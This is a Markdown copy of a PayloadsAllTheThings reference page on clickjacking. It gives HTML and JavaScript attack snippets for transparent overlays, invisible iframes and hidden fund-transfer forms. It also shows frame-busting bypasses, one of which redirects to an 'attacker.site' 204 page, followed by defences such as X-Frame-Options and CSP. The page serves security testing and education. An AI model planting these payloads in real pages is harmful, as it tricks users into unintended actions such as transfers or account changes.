index.md (13279B)
1 --- 2 title: "Clickjacking" 3 topic: "Clickjacking" 4 topicSlug: "clickjacking" 5 sourcePath: "Clickjacking/README.md" 6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Clickjacking/README.md" 7 sha: "3ac27901c711" 8 isReadme: true 9 --- 10 11 # Clickjacking 12 13 > Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking. 14 15 ## Summary 16 17 * [Tools](#tools) 18 * [Methodology](#methodology) 19 * [UI Redressing](#ui-redressing) 20 * [Invisible Frames](#invisible-frames) 21 * [Button/Form Hijacking](#buttonform-hijacking) 22 * [Execution Methods](#execution-methods) 23 * [Preventive Measures](#preventive-measures) 24 * [Implement X-Frame-Options Header](#implement-x-frame-options-header) 25 * [Content Security Policy (CSP)](#content-security-policy-csp) 26 * [Disabling JavaScript](#disabling-javascript) 27 * [OnBeforeUnload Event](#onbeforeunload-event) 28 * [XSS Filter](#xss-filter) 29 * [IE8 XSS filter](#ie8-xss-filter) 30 * [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter) 31 * [Challenge](#challenge) 32 * [Labs](#labs) 33 * [References](#references) 34 35 ## Tools 36 37 * [portswigger/burp](https://portswigger.net/burp) 38 * [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy) 39 * [machine1337/clickjack](https://github.com/machine1337/clickjack) 40 41 ## Methodology 42 43 ### UI Redressing 44 45 UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application. 46 The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements, 47 the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface. 48 49 * **How UI Redressing Works:** 50 * Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`. 51 * Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it. 52 * Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element. 53 * User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations. 54 55 ```html 56 <div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;"> 57 <a href="malicious-link">Click me</a> 58 </div> 59 ``` 60 61 ### Invisible Frames 62 63 Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly. 64 These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;). 65 The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions. 66 67 * **How Invisible Frames Work:** 68 * Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user. 69 70 ```html 71 <iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe> 72 ``` 73 74 * Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible. 75 * User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe. 76 * Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent. 77 78 ### Button/Form Hijacking 79 80 Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge. 81 82 * **How Button/Form Hijacking Works:** 83 * Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it. 84 85 ```html 86 <button onclick="submitForm()">Click me</button> 87 ``` 88 89 * Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form. 90 91 ```html 92 <form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> 93 <!-- Hidden form fields --> 94 </form> 95 ``` 96 97 * Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage. 98 99 ```html 100 <button onclick="submitForm()">Click me</button> 101 <form action="legitimate-site" method="POST" id="hidden-form"> 102 <!-- Hidden form fields --> 103 </form> 104 <script> 105 function submitForm() { 106 document.getElementById('hidden-form').submit(); 107 } 108 </script> 109 ``` 110 111 ### Execution Methods 112 113 * Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user. 114 115 ```html 116 <form action="malicious-site" method="POST" id="hidden-form" style="display: none;"> 117 <input type="hidden" name="username" value="attacker"> 118 <input type="hidden" name="action" value="transfer-funds"> 119 </form> 120 ``` 121 122 * Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission. 123 124 ```js 125 function submitForm() { 126 document.getElementById('hidden-form').submit(); 127 } 128 ``` 129 130 ## Preventive Measures 131 132 ### Implement X-Frame-Options Header 133 134 Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent. 135 136 ```apache 137 Header always append X-Frame-Options SAMEORIGIN 138 ``` 139 140 ### Content Security Policy (CSP) 141 142 Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames. 143 Define a strong CSP policy to prevent unauthorized framing and loading of external resources. 144 Example in HTML meta tag: 145 146 ```html 147 <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';"> 148 ``` 149 150 ### Disabling JavaScript 151 152 * Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking. 153 * There are three deactivation techniques that can be used with frames: 154 * Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame. 155 156 ```html 157 <iframe src="http://target site" security="restricted"></iframe> 158 ``` 159 160 * Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari. 161 162 ```html 163 <iframe src="http://target site" sandbox></iframe> 164 ``` 165 166 ## OnBeforeUnload Event 167 168 * The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt. 169 170 * The attacker can use this attack by registering an unload event on the top page using the following example code: 171 172 ```html 173 <h1>www.fictitious.site</h1> 174 <script> 175 window.onbeforeunload = function() 176 { 177 return " Do you want to leave fictitious.site?"; 178 } 179 </script> 180 <iframe src="http://target site"> 181 ``` 182 183 * The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header. 184 185 204 page: 186 187 ```php 188 <?php 189 header("HTTP/1.1 204 No Content"); 190 ?> 191 ``` 192 193 Attacker's Page: 194 195 ```js 196 <script> 197 var prevent_bust = 0; 198 window.onbeforeunload = function() { 199 prevent_bust++; 200 }; 201 setInterval( 202 function() { 203 if (prevent_bust > 0) { 204 prevent_bust -= 2; 205 window.top.location = "http://attacker.site/204.php"; 206 } 207 }, 1); 208 </script> 209 <iframe src="http://target site"> 210 ``` 211 212 ## XSS Filter 213 214 ### IE8 XSS filter 215 216 This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters. 217 218 ```html 219 <script> 220 if ( top != self ) 221 { 222 top.location=self.location; 223 } 224 </script> 225 ``` 226 227 Attacker View: 228 229 ```html 230 <iframe src=”http://target site/?param=<script>if”> 231 ``` 232 233 ### Chrome 4.0 XSSAuditor filter 234 235 It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact. 236 237 Attacker View: 238 239 ```html 240 <iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”> 241 ``` 242 243 ## Challenge 244 245 Inspect the following code: 246 247 ```html 248 <div style="position: absolute; opacity: 0;"> 249 <iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe> 250 </div> 251 <button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button> 252 ``` 253 254 Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website. 255 256 ## Labs 257 258 * [OWASP WebGoat](https://owasp.org/www-project-webgoat/) 259 * [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking) 260 261 ## References 262 263 * [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://web.archive.org/web/20200510214313/https://clickjacker.io/) 264 * [Clickjacking - Gustav Rydstedt - April 28, 2020](https://web.archive.org/web/20200428022051/https://owasp.org/www-community/attacks/Clickjacking) 265 * [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://web.archive.org/web/20240917212838/https://www.synopsys.com/glossary/what-is-clickjacking.html) 266 * [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://web.archive.org/web/20260215062230/https://portswigger.net/web-security/clickjacking)